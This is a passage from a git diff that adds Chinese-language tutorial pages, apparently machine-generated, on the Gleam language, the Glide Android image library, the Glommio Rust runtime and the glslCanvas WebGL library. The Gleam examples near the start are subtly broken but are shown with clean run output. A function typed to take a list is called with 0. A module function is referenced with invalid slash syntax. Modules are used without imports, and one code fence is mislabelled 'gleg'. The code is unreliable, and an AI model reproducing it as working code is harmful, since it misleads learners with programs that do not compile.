+    Error(DuplicateEmail) -> io.println("❌ 邮箱已被注册")
+  }
+
+  // 列出所有用户
+  io.println("所有用户: " <> list_all_users(users))
+}
+```
+
+运行结果：
+
+```
+找到用户: Alice
+❌ 用户不存在
+❌ 邮箱已被注册
+所有用户: Alice (管理员), Bob (普通成员)
+```
+
+### 示例 2：递归 + 尾调用优化——计算斐波那契数列
+
+这个例子展示了 Gleam 的递归思维和尾调用优化（TCO）。
+
+```gleam
+import gleam/io
+
+// 方法一：朴素递归（直观但不高效）
+// 计算第 n 个斐波那契数
+pub fn fib(n: Int) -> Int {
+  case n {
+    0 -> 0
+    1 -> 1
+    _ -> fib(n - 1) + fib(n - 2)
+  }
+}
+
+// 方法二：尾递归 + 累加器（高效，编译器会优化为循环）
+pub fn fib_fast(n: Int) -> Int {
+  fib_loop(n, 0, 1)
+}
+
+// 私有辅助函数：带累加器的递归
+fn fib_loop(remaining: Int, a: Int, b: Int) -> Int {
+  case remaining {
+    0 -> a
+    _ -> fib_loop(remaining - 1, b, a + b)
+  }
+}
+
+pub fn main() {
+  io.println("=== 斐波那契数列 ===")
+
+  // 打印前 15 个数
+  let numbers = generate_fibs(15, 0, 0)
+  io.println(numbers)
+}
+
+// 生成斐波那契数列列表
+fn generate_fibs(count: Int, index: Int, result: List(Int)) -> String {
+  case index < count {
+    True -> {
+      let n = fib_fast(index)
+      generate_fibs(count, index + 1, [n, ..result])
+    }
+    False -> {
+      result
+      |> list.reverse
+      |> list.map(gleam/int.to_string)
+      |> string.join(" ")
+    }
+  }
+}
+```
+
+运行结果：
+
+```
+=== 斐波那契数列 ===
+0 1 1 2 3 5 8 13 21 34 55 89 144 233 377
+```
+
+**关键点**：
+
+- `fib` 是朴素递归，逻辑清晰但指数级复杂度
+- `fib_fast` 使用尾递归 + 累加器，编译器将其优化为 O(n) 的循环
+- `generate_fibs` 展示了如何用递归替代循环来构建列表
+
+### 示例 3：管道 + 高阶函数——数据处理流水线
+
+```gleg
+import gleam/io
+import gleam/list
+import gleam/string
+
+pub type Product {
+  Product(
+    name: String,
+    price: Float,
+    category: String,
+    in_stock: Bool,
+  )
+}
+
+pub fn main() {
+  let products = [
+    Product("键盘", 299.0, "数码", True),
+    Product("鼠标", 149.0, "数码", False),
+    Product("笔记本", 45.0, "文具", True),
+    Product("耳机", 599.0, "数码", True),
+    Product("橡皮擦", 5.0, "文具", False),
+  ]
+
+  // 数据处理流水线：过滤 -> 映射 -> 排序 -> 格式化
+  let summary = products
+  |> list.filter(fn(p) { p.in_stock })          // 只保留有库存的
+  |> list.filter(fn(p) { p.category == "数码" }) // 只要数码类
+  |> list.map(fn(p) { #(p.name, p.price) })     // 提取名称和价格
+  |> list.sort(fn(a, b) { b.1 <. a.1 })         // 按价格降序
+  |> list.map(fn(p) { p.0 <> ": $" <> float.to_string(p.1) })
+  |> string.join("\n")
+
+  io.println("热销数码产品：\n" <> summary)
+}
+```
+
+运行结果：
+
+```
+热销数码产品：
+耳机: $599.0
+键盘: $299.0
+```
+
+## 五、Gleam 的独特优势
+
+| 特性 | 说明 |
+|------|------|
+| **零运行时开销的外部调用** | 调用 Erlang/Elixir 代码没有性能损失 |
+| **跨目标编译** | 同一份代码可编译为 BEAM 字节码或 JavaScript |
+| **TypeScript 定义生成** | JS 编译时自动生成 `.d.ts` 文件 |
+| **无 null、无异常** | 编译期保证类型安全 |
+| **丰富的包管理器** | `gleam add` 安装包，`gleam test` 运行测试 |
+| **友好的社区** | 不以"聪明"为荣，以"易懂"为目标 |
+
+## 六、适合谁学？
+
+- **想理解函数式编程但不想被 Haskell 吓到的人** — Gleam 的语法接近主流语言
+- **想利用 Erlang/BEAM 的强大但不想学 Erlang 的人** — Gleam 是更现代的选择
+- **重视类型安全的后端开发者** — 编译期 catches 大量 bug
+- **全栈开发者** — 一份 Gleam 代码同时服务后端和前端（JavaScript 目标）
+
+## 七、学习资源
+
+- **官方文档**: https://gleam.run
+- **交互式语言教程**: https://tour.gleam.run（浏览器里直接学，无需安装）
+- **在线 Playground**: https://playground.gleam.run
+- **包仓库**: https://packages.gleam.run
+- **标准库文档**: https://hexdocs.pm/gleam_stdlib/
+- **Exercism 练习**: https://exercism.org/tracks/gleam
+- **Discord 社区**: https://discord.gg/Fm8Pwmy
diff --git a/src/content/docs/projects/glide.md b/src/content/docs/projects/glide.md
new file mode 100644
index 000000000..8e5ed8741
--- /dev/null
+++ b/src/content/docs/projects/glide.md
@@ -0,0 +1,261 @@
+---
+title: Glide — Android 上专注流畅滚动的图片加载库
+来源: 'https://github.com/bumptech/glide'
+日期: 2026-06-13
+子分类: 移动端
+分类: 后端 API
+难度: 初级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Glide** 是 Google（原 Bumptech 团队）维护的 Android 图片与媒体加载框架，把「取图 → 解码 → 缓存 → 显示」整条链路封装成一行 API，并针对**列表快速滑动**做了大量性能优化。GitHub [bumptech/glide](https://github.com/bumptech/glide) 累计 3.5 万+ star，是 Android 生态里最老牌、最广泛使用的图片加载方案之一。
+
+日常类比：Glide 像一家**连锁快递驿站 + 智能仓储**。你把包裹单号（URL、`Uri`、资源 ID）交给前台（`RequestBuilder`），驿站系统（`Glide` 单例 + `Engine`）会：
+
+1. 先查**前台货架**有没有同款小件（**内存缓存**）
+2. 没有再翻**仓库档案**（**磁盘缓存**）
+3. 还没有就派快递员去原厂取货（**网络 / 本地 ModelLoader**）
+4. 按你指定的相框尺寸裁剪打包（**下采样 + Transformation**）
+5. 最后把成品放进 `ImageView` 或自定义 `Target`
+
+你不需要自己管线程池、Bitmap 回收和 Activity 销毁时的取消逻辑——`Glide.with(activity).load(url).into(imageView)` 一行即可。Activity/Fragment 销毁时，关联请求会自动取消并释放资源。
+
+Glide v4 是当前主线（最低 API 14，编译需 API 27+）。支持静态图、GIF、视频缩略图；默认用 `HttpURLConnection` 发网络请求，也可通过集成库换成 [[okhttp]] 或 Volley。
+
+## 为什么重要
+
+零基础学 Android UI，Glide 几乎是「必认识的名字」，因为：
+
+- **RecyclerView 列表场景的事实标准**：自动处理 View 复用、请求取消、尺寸下采样，减少 OOM 和滑动卡顿
+- **生命周期深度绑定**：`Glide.with(Fragment/Activity)` 让后台加载与界面存活期对齐，避免「页面已关图还在写进 ImageView」
+- **多层缓存开箱即用**：内存 LRU + 磁盘 LRU + Bitmap 对象池，不必手写 `LruCache` 和文件命名规则
+- **可扩展管道**：`ModelLoader`、`DataFetcher`、`Transformation` 可插拔，企业 App 常在此定制 CDN 签名、鉴权 Header、水印
+- **与 [[coil]] 的对照**：新 Kotlin/Compose 项目多选 Coil；大量存量 Java/Kotlin View 项目、复杂图像策略仍大量依赖 Glide
+
+## 核心概念
+
+Glide 的运转可以拆成 **七块**：
+
+1. **RequestManager（请求调度员）**：由 `Glide.with(context)` 获得，与 Activity/Fragment/View 生命周期绑定。同一生命周期内共享配置；`onStop` 时暂停，`onDestroy` 时清请求。类比：某个门店的前台班组。
+
+2. **RequestBuilder（运单）**：链式 API 描述加载什么、怎么加载。`.load()` 接受 URL 字符串、`Uri`、`File`、`@DrawableRes`、`byte[]` 等；`.placeholder()` / `.error()` 设置占位与失败图；`.override(w,h)` 指定目标像素尺寸；`.transform()` 应用圆角、模糊等变换。
+
+3. **Target（收件人）**：接收加载结果的抽象。最常用的是 `into(ImageView)`，内部包装为 `ImageViewTarget`。也可 `into(CustomTarget<Drawable>)` 或 `submit()` 在后台线程拿 `Bitmap`。Target 负责报告 View 尺寸，Glide 据此下采样——**只解码显示所需大小**，这是省内存的关键。
+
+4. **Engine + 三级缓存查找顺序**：每次请求默认依次查：
+   - **活动资源**（正在屏幕上的资源，带引用计数）
+   - **内存缓存**（`MemoryCache`，LRU）
+   - **磁盘缓存**（`DiskCache`，默认应用 `cacheDir` 下约 250MB）
+   - 都没有才走 **ModelLoader → DataFetcher** 拉原始数据，再 **Decode → Transform → Encode 回写磁盘**
+
+5. **DiskCacheStrategy（磁盘策略）**：`AUTOMATIC`（默认，远程只缓存原数据、本地只缓存变换结果）、`ALL`、`DATA`、`RESOURCE`、`NONE`。配合 `skipMemoryCache(true)` 可跳过内存层。
+
+6. **BitmapPool（位图对象池）**：复用 `Bitmap` 内存块，减少 GC 和堆碎片。与 `MemoryCache` 分工：缓存存「成品资源」，对象池存「可重用空壳」。
+
+7. **AppGlideModule / LibraryGlideModule（全局配置）**：通过注解处理器在编译期合并模块，在 `applyOptions(GlideBuilder)` 里改磁盘大小、内存比例、默认 `DecodeFormat`；在 `registerComponents()` 里注册自定义 `ModelLoader`。注意：`GlideApp` 等生成 API 自 4.14 起已**废弃**，应直接用 `Glide` + `RequestOptions`，但 `AppGlideModule` 配置本身仍推荐。
+
+## 依赖与最小配置
+
+Gradle（Kotlin DSL，Glide 4.16.x 示例）：
+
+```kotlin
+dependencies {
+    implementation("com.github.bumptech.glide:glide:4.16.0")
+    ksp("com.github.bumptech.glide:ksp:4.16.0") // 或 kapt("...:compiler:4.16.0")
+    // 可选：OkHttp 集成
+    // implementation("com.github.bumptech.glide:okhttp3-integration:4.16.0")
+}
+```
+
+`AndroidManifest.xml` 加载网络图片时需要：
+
+```xml
+<uses-permission android:name="android.permission.INTERNET" />
+<!-- 可选：断网重连后自动重试失败请求 -->
+<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+```
+
+全局配置（Kotlin 项目仍可用 Java 写 Module）：
+
+```java
+@GlideModule
+public final class MyAppGlideModule extends AppGlideModule {
+    @Override
+    public void applyOptions(@NonNull Context context, @NonNull GlideBuilder builder) {
+        int memoryCacheSize = (int) (Runtime.getRuntime().maxMemory() / 8);
+        builder.setMemoryCache(new LruResourceCache(memoryCacheSize));
+    }
+}
+```
+
+## 实践案例
+
+### 案例 1：Activity 里一行加载网络图
+
+最基础用法——生命周期随 Activity，销毁时自动清理：
+
+```kotlin
+class ProfileActivity : AppCompatActivity() {
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        setContentView(R.layout.activity_profile)
+        val avatar: ImageView = findViewById(R.id.avatar)
+
+        Glide.with(this)
+            .load("https://example.com/users/42/avatar.jpg")
+            .placeholder(R.drawable.avatar_placeholder)
+            .error(R.drawable.avatar_error)
+            .circleCrop()
+            .into(avatar)
+    }
+}
+```
+
+`.with(this)` 传入 Activity，而不是 `applicationContext`，这样加载会随 Activity 暂停/销毁而取消。`circleCrop()` 是内置 `Transformation`，在解码后裁剪圆形，比外层套 `CircleImageView` 更省一层 Drawable 嵌套问题。
+
+### 案例 2：RecyclerView 列表（Glide 的主场）
+
+列表滑动时 View 会被复用；Glide 自动取消旧请求，但必须保证每次 bind 都发起新 load 或显式 `clear()`：
+
+```kotlin
+class PhotoAdapter(private val items: List<Photo>) :
+    RecyclerView.Adapter<PhotoAdapter.VH>() {
+
+    class VH(val image: ImageView) : RecyclerView.ViewHolder(image)
+
+    override fun onCreateViewHolder(parent: ViewGroup, viewType: Int): VH {
+        val view = LayoutInflater.from(parent.context)
+            .inflate(R.layout.item_photo, parent, false) as ImageView
+        return VH(view)
+    }
+
+    override fun onBindViewHolder(holder: VH, position: Int) {
+        val photo = items[position]
+        Glide.with(holder.image) // 也可 Glide.with(holder.itemView)
+            .load(photo.thumbnailUrl)
+            .centerCrop()
+            .transition(DrawableTransitionOptions.withCrossFade(200))
+            .into(holder.image)
+    }
+
+    override fun getItemCount() = items.size
+}
+```
+
+若某行要显示本地占位 Drawable 而非网络图，应先 `Glide.with(holder.image).clear(holder.image)`，否则上一行的异步结果可能在占位图之后到达，造成**图片错位**——这是列表场景最常见的坑。
+
+### 案例 3：RequestOptions 复用与磁盘策略
+
+多个页面共享同一套「缩略图规格」时，用 `RequestOptions` 避免重复链式调用：
+
+```kotlin
+object ThumbOptions {
+    val gridThumb: RequestOptions = RequestOptions()
+        .diskCacheStrategy(DiskCacheStrategy.AUTOMATIC)
+        .override(300, 300)
+        .centerCrop()
+        .placeholder(R.drawable.loading_spinner)
+}
+
+// 使用
+Glide.with(fragment)
+    .load(url)
+    .apply(ThumbOptions.gridThumb)
+    .into(imageView)
+```
+
+需要强制走缓存、节省流量（如离线预览模式）：
+
+```kotlin
+Glide.with(context)
+    .load(url)
+    .onlyRetrieveFromCache(true) // 缓存未命中则失败，不发网络
+    .into(imageView)
+```
+
+### 案例 4：后台线程同步取 Bitmap
+
+UI 不需要 Drawable，只要 `Bitmap` 做分享、上传或图像处理：
+
+```kotlin
+suspend fun fetchBitmap(context: Context, url: String): Bitmap =
+    withContext(Dispatchers.IO) {
+        Glide.with(context)
+            .asBitmap()
+            .load(url)
+            .submit(512, 512) // 目标宽高像素
+            .get() // 阻塞；生产代码注意超时与异常
+    }
+```
+
+`submit()` 适合工作线程；若在主线程请继续用 `into()`。完成后 Glide 仍管理资源引用计数，**不要**随意 `bitmap.recycle()`，除非你知道没有其它 Glide 引用。
+
+## 缓存与内存：一张心智图
+
+```text
+请求 load(url)
+    │
+    ▼
+[活动资源] ──命中──► 显示
+    │ miss
+    ▼
+[内存缓存] ──命中──► 显示
+    │ miss
+    ▼
+[磁盘缓存] ──命中──► 解码 ──► 显示
+    │ miss
+    ▼
+网络/ContentProvider/File ──► 解码 ──► Transform ──► 写磁盘 ──► 显示
+```
+
+系统内存紧张时，Glide 响应 `ComponentCallbacks2` 自动 trim 内存缓存；也可 `Glide.get(context).trimMemory(level)` 手动干预。大图预览场景记得 `.override()` 或 `downsample()`，不要解码原图尺寸。
+
+## 与 Coil / Picasso 的对比（选型速览）
+
+| 维度 | Glide | Coil | Picasso |
+|------|-------|------|---------|
+| 维护方 | Google / Bumptech | Coil 社区 | Square（维护模式） |
+| 语言风格 | Java 优先，Kotlin 可用 | Kotlin 协程优先 | Java，API 最简 |
+| Compose | 无官方一等 API | `AsyncImage` 原生支持 | 无 |
+| 列表性能 | 极成熟，引用计数 + 生命周期 | 协程取消 + 下采样 | 简单场景够用 |
+| 扩展性 | ModelLoader 体系完整 | Fetcher/Decoder 管道 | 较弱 |
+| 典型场景 | 存量大 App、复杂缓存策略 | 新 Compose/KMP 项目 | 老项目极简加载 |
+
+没有绝对「最好」：Glide 的优势在**十年积累的生命周期、缓存与列表行为**；新项目若全栈 Kotlin Compose，[[coil]] 往往更顺手；三者网络层都可对接 [[okhttp]]。
+
+## 常见问题
+
+**Q：列表图片错位、闪旧图？**  
+`onBindViewHolder` 必须对复用 View 调用新的 `.into(imageView)`，或切换为占位图前 `.clear(imageView)`。不要只在 `onCreateViewHolder` 里 load 一次。
+
+**Q：GIF 与 crossFade/placeholder 冲突？**  
+部分圆形 ImageView 库与 `TransitionDrawable` 不兼容。可 `.dontAnimate()` 或改用 Glide 内置 `.circleCrop()` Transformation。
+
+**Q：Cleartext HTTP 图加载失败？**  
+Android 9+ 默认禁止明文 HTTP。改用 HTTPS，或配置 `networkSecurityConfig` 放行特定域名。
+
+**Q：还能用 `GlideApp` 吗？**  
+4.14 起生成 API 已废弃，官方建议统一 `Glide.with()` + `RequestOptions` / Kotlin 扩展函数。`AppGlideModule` 配置仍需要。
+
+**Q：和 [[retrofit]] 什么关系？**  
+无直接依赖。Retrofit 管 JSON API；Glide 管图片字节流。若 REST 返回的是图片 URL，Glide 负责把 URL 变成 Bitmap；若 API 要上传图片，可用 Glide `submit()` 取 Bitmap 再交给 OkHttp Multipart。
+
+## 延伸学习
+
+- 官方文档：[Getting Started](https://bumptech.github.io/glide/doc/getting-started.html)、[Caching](https://bumptech.github.io/glide/doc/caching.html)、[Configuration](https://github.com/bumptech/glide/wiki/Configuration)
+- 源码入口：`com.bumptech.glide.Glide`、`RequestManager`、`Engine`
+- 对照阅读：本库笔记 [[coil]]（Kotlin 现代方案）、[[okhttp]]（可插拔网络栈）
+- Android 官方 Codelab：[Load and display images from the internet](https://developer.android.com/codelabs/basic-android-kotlin-compose-load-images)（Compose 侧用 Coil，但缓存/生命周期概念相通）
+
+## 小结
+
+Glide 把 Android 图片加载从「手工线程 + LruCache + 担心泄漏」收敛成 **`with(生命周期) → load(数据源) → into(目标)`** 三件套。零基础记住四件事就够上手：
+
+1. **永远用 Activity/Fragment 级 `with()`**，不要用 Application Context 加载进 View（除非明确知道后果）
+2. **列表必复用 RequestOptions，bind 必重新 `into()`**
+3. **Trust 默认缓存**，用 `override` 控制尺寸，用 `DiskCacheStrategy` 微调持久化
+4. **全局配置走 `AppGlideModule`**，别在每个 Fragment 里重复造轮子
+
+掌握这些后，再按需深入 `ModelLoader` 自定义数据源、`Transformation` 自定义视觉效果、以及 `okhttp3-integration` 统一网络栈——Glide 的复杂度高，但每一项复杂度都对应真实 App 里踩过的坑。
diff --git a/src/content/docs/projects/glommio.md b/src/content/docs/projects/glommio.md
new file mode 100644
index 000000000..9771f9764
--- /dev/null
+++ b/src/content/docs/projects/glommio.md
@@ -0,0 +1,238 @@
+---
+title: Glommio — Datadog 的 thread-per-core 异步运行时
+来源: https://github.com/DataDog/glommio
+日期: 2026-06-13
+分类: 编译器
+子分类: 语言运行时
+provenance: pipeline-v3
+---
+
+# Glommio — Datadog 的 thread-per-core 异步运行时
+
+## 一句话概括
+
+Glommio 是一个 Rust 库，让每个 CPU 核只跑一个线程，从而彻底消除锁竞争和上下文切换，实现极高的 I/O 吞吐和极低的延迟。
+
+## 从日常类比开始
+
+想象一家餐厅有 10 张桌子（CPU 核），传统做法是派 10 个服务员（线程），每人负责一张桌子。但当某张桌子同时来了两拨客人，两个服务员就得抢着上菜——他们需要"协商"（加锁），还可能互相等待（上下文切换）。
+
+Glommio 的做法是：每张桌子固定一个专属服务员，这个服务员终身只服务这一张桌子。没有抢菜、没有等待、没有协商。每个服务员用自己的方式记住客人点了什么（异步状态机），客人到了就记下来，等厨房做好再端上去。因为每个服务员只盯一桌，根本不需要"协商锁"。
+
+这就是 **thread-per-core**（每核一线程）的核心思想。
+
+## 核心概念
+
+### 1. Thread-per-Core
+
+每个 CPU 核绑定一个执行线程，操作系统调度器不会把这个线程挪到别的核上。结果就是：
+
+- 同一个核上永远只有一个线程在执行
+- 同一份数据在同一时间只被一个线程访问
+- **完全不需要锁**（这是最大的优势）
+
+### 2. io_uring
+
+Glommio 建立在 Linux 的 `io_uring` 之上。`io_uring` 是 Linux 内核提供的一套异步 I/O API，允许应用程序把读写请求提交到内核，内核做完后通过共享内存通知应用，整个过程几乎零系统调用开销。
+
+Glommio 为每个线程注册三组 ring buffer：
+
+- **Main ring**：大多数 I/O 操作走这里
+- **Latency ring**：对延迟敏感的操作走这里，Glommio 会优先处理
+- **Poll ring**：用于 NVMe 设备的高 IOPS 场景，不依赖中断
+
+### 3. Cooperative Scheduling（协作式调度）
+
+因为每个核只有一个线程，如果一个任务死循环不放手，整个核就卡死了。所以 Glommio 采用协作式调度：长任务需要主动让出 CPU。关键函数是 `yield_if_needed()`，它会检查是否有延迟敏感的任务在排队，如果有就让出控制权。
+
+### 4. Task Queue（任务队列）与 Shares（份额）
+
+Glommio 允许在一个核上创建多个任务队列，每个队列可以设置：
+
+- **Shares**：决定各队列分配多少 CPU 时间比例
+- **Latency**：标记是否为延迟敏感任务
+
+比如一个队列占 2 份、另一个占 1 份，前者就会拿到大约 2/3 的 CPU 时间。
+
+## 为什么不用传统的多线程？
+
+传统多线程有两个大痛点：
+
+1. **锁很贵**：线程之间共享数据时必须加锁，加锁本身消耗 CPU，更重要的是线程会花大量时间在"等待锁"上
+2. **上下文切换很贵**：Linux 下一次线程切换大约花费 5 微秒。而现代 NVMe 磁盘的 I/O 延迟已经低于 4 微秒了——切换线程比做 I/O 还慢！
+
+Thread-per-core 从根本上消灭了这两个问题。
+
+## 代码示例
+
+### 示例 1：最基本的 Glommio 程序
+
+这是最简单的用法，创建一个异步执行器并运行一段异步代码：
+
+```rust
+use glommio::prelude::*;
+
+fn main() {
+    // 创建一个默认的 LocalExecutor（不绑定特定 CPU）
+    let ex = LocalExecutorBuilder::default()
+        .spawn(|| async move {
+            // 在这里写你的异步代码
+            println!("Hello from Glommio!");
+            
+            // 异步延迟 1 秒
+            Timer::new(Duration::from_secs(1)).await;
+            println!("Waited 1 second asynchronously");
+        })
+        .expect("Failed to spawn executor");
+    
+    ex.join();
+}
+```
+
+关键点：
+- `LocalExecutorBuilder::default()` 创建一个执行器
+- `.spawn()` 接收一个 async 闭包，在里面写异步逻辑
+- `Timer::new(...).await` 是非阻塞等待，不会占用 CPU
+
+### 示例 2：绑定 CPU 核 + 多任务队列
+
+这个例子展示了如何把执行器绑到特定的 CPU 核上，并创建不同优先级的任务队列：
+
+```rust
+use glommio::{
+    executor,
+    Latency,
+    LocalExecutorBuilder,
+    Placement,
+    Shares,
+    Timer,
+};
+use std::time::Duration;
+
+fn main() {
+    // 把这个执行器固定绑定到 CPU 第 0 核
+    let ex = LocalExecutorBuilder::new(Placement::Fixed(0))
+        .spawn(|| async move {
+            // 创建两个任务队列：
+            // tq_critical: 2 份份额，延迟敏感
+            let tq_critical = executor()
+                .create_task_queue(
+                    Shares::Static(2),
+                    Latency::Matters(Duration::from_millis(5)),
+                    "critical",
+                );
+            
+            // tq_batch: 1 份份额，不关心延迟
+            let tq_batch = executor()
+                .create_task_queue(
+                    Shares::Static(1),
+                    Latency::NotImportant,
+                    "batch",
+                );
+            
+            // 把任务分配到不同的队列
+            let task1 = glommio::spawn_local_into(
+                async move {
+                    println!("Critical task running on tq_critical");
+                    // 模拟长时间运行的任务
+                    for i in 0..100 {
+                        // 主动让出 CPU，给其他队列机会
+                        yield_if_needed().await;
+                    }
+                },
+                tq_critical,
+            ).unwrap();
+            
+            let task2 = glommio::spawn_local_into(
+                async move {
+                    println!("Batch task running on tq_batch");
+                    for i in 0..100 {
+                        yield_if_needed().await;
+                    }
+                },
+                tq_batch,
+            ).unwrap();
+            
+            task1.await;
+            task2.await;
+        })
+        .expect("Failed to spawn executor");
+    
+    ex.join();
+}
+```
+
+这个例子里你可以看到几个重要概念：
+
+- `Placement::Fixed(0)` 把执行器钉在 CPU 0 上
+- `Shares::Static(2)` 和 `Shares::Static(1)` 决定了两个队列的 CPU 时间分配比例约为 2:1
+- `Latency::Matters(Duration::from_millis(5))` 告诉 Glommio 这个队列里的任务对延迟很敏感，如果超过 5 毫秒没被执行就要报警
+- `yield_if_needed().await` 是协作式调度的关键——长循环中定期调用，让其他队列有机会运行
+
+### 示例 3：TCP 网络编程
+
+Glommio 提供了完整的网络 API，支持超时和组合操作：
+
+```rust
+use glommio::{
+    net::TcpStream,
+    timer::Timer,
+    LocalExecutor,
+};
+use futures_lite::future::FutureExt;
+use std::time::Duration;
+
+fn main() {
+    let ex = LocalExecutor::default();
+    
+    ex.run(async {
+        // 定义一个超时逻辑
+        let timeout = async {
+            Timer::new(Duration::from_secs(10)).await;
+            Err(std::io::Error::new(
+                std::io::ErrorKind::TimedOut,
+                "Connection timed out",
+            ).into())
+        };
+        
+        // 尝试连接，10 秒超时
+        let stream = TcpStream::connect("example.com:80")
+            .or(timeout)
+            .await?;
+        
+        println!("Connected to example.com!");
+        
+        Ok::<_, glommio::error::GlommioError<std::io::Error>>(())
+    })
+    .unwrap();
+}
+```
+
+这里展示了 Glommio 的 `FutureExt::or()` 方法，可以把一个网络请求和一个定时器组合起来，实现超时控制。
+
+## 使用前提
+
+Glommio 有一些硬性要求：
+
+1. **Linux 5.8+**，必须支持 `io_uring`
+2. **至少 512 KiB 的锁定内存**（memlock），需要在 `/etc/security/limits.conf` 中配置
+3. 只在 Linux 上运行，不支持 macOS / Windows
+
+## 总结
+
+| 特性 | 传统多线程 | Glommio (thread-per-core) |
+|------|-----------|--------------------------|
+| 锁 | 需要 | 不需要 |
+| 上下文切换 | 频繁发生 | 几乎不发生 |
+| I/O 模型 | 线程池 + epoll | io_uring |
+| 延迟稳定性 | 受锁竞争影响 | 非常稳定 |
+| 适用场景 | 通用 | 高并发 I/O 密集型 |
+
+Glommio 最适合的场景是：高吞吐、低延迟的 I/O 密集型服务，比如数据库、消息队列、代理服务器等。如果你在做的是 CPU 密集型计算或者 Web 前端，那它可能不适合你。
+
+## 延伸阅读
+
+- Glommio 官方博客：https://www.datadoghq.com/blog/engineering/introducing-glommio/
+- Glommio 文档：https://docs.rs/glommio/
+- io_uring 介绍：https://kernel.dk/io_uring.pdf
+- Seastar（C++ 版 thread-per-core 框架）：http://seastar.io/
diff --git a/src/content/docs/projects/glsl-canvas.md b/src/content/docs/projects/glsl-canvas.md
new file mode 100644
index 000000000..497899b64
--- /dev/null
+++ b/src/content/docs/projects/glsl-canvas.md
@@ -0,0 +1,247 @@
+---
+title: glslCanvas — Book of Shaders 配套库
+来源: 'https://github.com/patriciogonzalezvivo/glslCanvas'
+日期: 2026-06-13
+分类: 图形学
+子分类: 渲染与图形
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**glslCanvas** 是一个轻量级 JavaScript 库，把 GLSL 片段/顶点着色器加载到 HTML `<canvas>` 上，自动创建 WebGL 上下文、编译 shader、驱动动画循环。Patricio Gonzalez Vivo 为 [The Book of Shaders](https://thebookofshaders.com) 和 [glslEditor](https://editor.thebookofshaders.com) 编写，是「在浏览器里跑着色器教程」的默认运行时。
+
+日常类比：
+
+> 学钢琴时，你关心的是乐谱（GLSL 代码），而不是每次自己组装钢琴、调音、接电源。glslCanvas 就像 **带自动演奏功能的电子琴**：你把乐谱塞进去（`data-fragment` 或 `.load()`），它负责 WebGL 初始化、uniform 注入、逐帧刷新。Book of Shaders 里每个可交互示例背后，基本都是 `<canvas class="glslCanvas">` 在干活。
+
+与 [glslify](/docs/projects/glslify) 的分工：glslify 在 **构建阶段** 把 `#pragma glslify` 模块打包成字符串；glslCanvas 在 **运行时** 把字符串（或 URL）变成屏幕上的像素。二者可组合——先用 glslify 打包，再把结果交给 glslCanvas 渲染。
+
+## 为什么重要
+
+不理解 glslCanvas，下面几件事都说不通：
+
+- 为什么 Book of Shaders 第 4 章「Running your shader」只写一行 `<canvas class="glslCanvas" data-fragment-url="...">` 就能跑
+- 为什么教程里的 shader 可以直接写 `uniform float u_time`，不用自己写 `requestAnimationFrame` 去更新
+- 为什么同一套 GLSL 还能在 glslViewer（命令行/Raspberry Pi）、glslEditor（在线 IDE）里跑——它们共享 **uniform 命名约定** 和 shader 结构
+- 为什么做 shader 原型时，不必先搭 Three.js / regl 整套渲染管线
+
+## 核心概念
+
+### 1. 声明式 HTML  vs  命令式 JS
+
+两种入口，目标相同：
+
+| 方式 | 典型场景 | 关键 API |
+|------|----------|----------|
+| **HTML 属性** | 静态教程页、Markdown 嵌入示例 | `class="glslCanvas"` + `data-fragment-url` |
+| **JavaScript 构造** | 动态换 shader、接 UI 控件 | `new GlslCanvas(canvas)` + `.load()` |
+
+页面加载后，所有带 `glslCanvas` class 的 canvas 会被自动扫描；实例缓存在 `window.glslCanvases` 数组里，方便调试或多实例管理。
+
+### 2. Shader 加载属性
+
+通过 data 属性把 GLSL 源传给 canvas：
+
+| 属性 | 含义 |
+|------|------|
+| `data-fragment` | 内联片段着色器字符串 |
+| `data-fragment-url` | 片段着色器文件 URL |
+| `data-vertex` / `data-vertex-url` | 顶点着色器（可选；默认全屏四边形） |
+| `data-textures` | 逗号分隔纹理 URL，依次绑定到 `u_tex0`, `u_tex1`, … |
+
+**注意**：`data-fragment` 里的换行在 HTML 属性中很难写对；生产环境更推荐 `data-fragment-url` 或 JS 的 `.load()`。Stack Overflow 上常见「Django 模板注入 data-fragment 不工作」，就是因为 HTML 转义破坏了 GLSL 源码——应改用 JS `sandbox.load(code)`。
+
+### 3. 内置 Uniform（约定优于配置）
+
+glslCanvas 自动注入一批 uniform，与 glslViewer 生态对齐，Book of Shaders 示例直接可用：
+
+| Uniform | 类型 | 来源 |
+|---------|------|------|
+| `u_time` | `float` | 自启动以来的秒数 |
+| `u_resolution` | `vec2` | canvas 宽高（像素） |
+| `u_mouse` | `vec2` | 鼠标位置，可用 `.setMouse({x,y})` 设置 |
+| `u_tex0`, `u_tex1`, … | `sampler2D` | `data-textures` 或 `.setUniform('u_tex0', url)` |
+
+自定义 uniform 用 `.setUniform(name, ...values)`：传数字按 float/vec2/vec3/vec4 推断；传 **字符串** 则当作纹理 URL 异步加载。
+
+### 4. 运行时 API 速览
+
+```javascript
+sandbox.load(fragmentSource)              // 仅换 fragment
+sandbox.load(fragmentSource, vertexSource) // fragment + vertex
+sandbox.setUniform('u_brightness', 0.5)
+sandbox.setUniform('u_color', 1, 0, 0)    // vec3 红色
+sandbox.setUniform('u_texture', 'img.jpg') // sampler2D
+sandbox.setMouse({ x: 0.5, y: 0.5 })      // 归一化或像素坐标视实现而定
+```
+
+库内部维护 animation loop，shader 编译成功后持续 `draw`；换 shader 时重新 compile/link，适合教学和小型 demo，不适合大规模引擎级资源管理。
+
+### 5. 与 glsl 生态的关系
+
+```
+Book of Shaders (教程)
+       │
+       ├── glslCanvas  ← 浏览器 / WebGL
+       ├── glslEditor  ← 在线编辑 + 预览（内嵌 glslCanvas）
+       └── glslViewer  ← 终端 / OpenGL ES / Raspberry Pi
+```
+
+同一 fragment 在浏览器用 glslCanvas，在树莓派用 glslViewer 批处理，在 OpenFrame 上屏——**shader 源码可移植**，换的是运行时壳。
+
+### 6. 安装与引入
+
+**CDN（教程常用）：**
+
+```html
+<script src="https://rawgit.com/patriciogonzalezvivo/glslCanvas/master/dist/GlslCanvas.js"></script>
+```
+
+**npm：**
+
+```bash
+npm install glslCanvas
+```
+
+TypeScript 社区有 [actarian/glsl-canvas](https://github.com/actarian/glsl-canvas) 等移植版，API 与 data 属性基本兼容，并扩展了 `mode`（flat/box/sphere/torus/mesh）、`.play()` / `.pause()` 等——若只做 Book of Shaders 级别学习，原版 glslCanvas 足够。
+
+## 代码示例
+
